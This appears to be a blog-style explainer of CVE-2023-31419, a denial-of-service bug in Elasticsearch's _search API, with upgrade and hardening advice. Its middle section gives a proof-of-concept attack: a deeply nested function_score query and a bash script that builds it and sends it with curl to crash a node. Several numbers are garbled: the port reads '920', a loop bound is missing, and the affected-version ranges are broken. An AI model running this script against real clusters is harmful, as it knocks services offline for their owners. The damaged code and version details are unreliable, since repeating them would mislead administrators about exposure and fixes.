Elasticsearch is one of the world’s most widely used search engines, powering logs, application search, and business intelligence for thousands of companies. But, like all complex software, sometimes a small bug can trigger big problems. That’s exactly what happened with CVE-2023-31419, a vulnerability affecting the _search API. Let’s break it down in plain language.

What Happened?

CVE-2023-31419 is a denial-of-service (DoS) flaw. Attackers discovered they could send a specially crafted search query to Elasticsearch. This malicious query would trigger a stack overflow in Elasticsearch’s backend, causing the server to crash. Once down, Elasticsearch can’t handle any more searches or updates, grinding business operations to a halt.

Impact: Denial of Service, Elasticsearch instance is taken offline

- Affected Versions: Elasticsearch 7.6. through 7.17.9 and 8.. through 8.7. (check official advisory)

Why Is This Dangerous?

Every Elasticsearch node affected by this can be remotely crashed by anyone who can send search queries. No authentication is needed if the API is exposed, which is common in open or misconfigured environments. Even unauthenticated users (bots, attackers, unauthorized employees) could crash your production search cluster.

Real-World Example: How the Exploit Works

Let’s take a look at how this works in practice, using code.

Proof of Concept (PoC) Attack

All an attacker needs is to send a query to the _search API that causes excessive recursion. Typically, unsafe queries are blocked. But due to this flaw, you could abuse certain parsers, especially with function_score and nested queries, to blow up the call stack.

POST /myindex/_search
{
  "query": {
    "function_score": {
      "query": {
        "function_score": {
          "query": {
            ... // repeat this nesting hundreds of times
          }
        }
      }
    }
  }
}

Here’s a simplified curl script that will attempt to crash the server by building an extremely deep query:

#!/bin/bash

HOST="localhost:920"
INDEX="myindex"
NESTED_COUNT=100

function build_query() {
    DEPTH=$1
    if [[ $DEPTH -le  ]]; then
        echo '{"match_all": {}}'
    else
        echo '{"function_score": {"query":'
        build_query $((DEPTH - 1))
        echo '}}'
    fi
}

QUERY=$(build_query $NESTED_COUNT)

curl -XPOST "$HOST/$INDEX/_search" \
     -H 'Content-Type: application/json' \
     -d "$QUERY"

Warning: Don’t run this on any production or important server.

How Was It Fixed?

After the bug was found, Elasticsearch developers updated how deeply a query can be nested. Excessively deep queries are now rejected early, avoiding stack overflows.

Upgrade immediately to >= 7.17.10 or >= 8.7.1.
You can also use reverse proxies, firewalls, and query limiters to block suspicious requests as a temporary workaround.

Do not expose your Elasticsearch cluster directly to the Internet. Always use authentication.

- Implement application-layer firewalls (like nginx/ModSecurity) to inspect and reject suspiciously large or deep payloads.
- Audit your access controls to ensure only trusted apps/users can send search requests.

- Elastic Advisory & Update (Official)
- CVE Details - CVE-2023-31419
- GitHub Security Advisory
- Elasticsearch Release Notes

Final Thoughts

CVE-2023-31419 shows that even mature software like Elasticsearch can have surprising vulnerabilities, especially around input parsing. If you run Elasticsearch—especially in the cloud or in public networks—patch now, audit your exposure, and keep your systems locked down. Even a single crafted query can bring down your data infrastructure until you do.

Timeline

Published on: 10/26/2023 18:15:08 UTC
Last modified on: 11/16/2023 16:15:30 UTC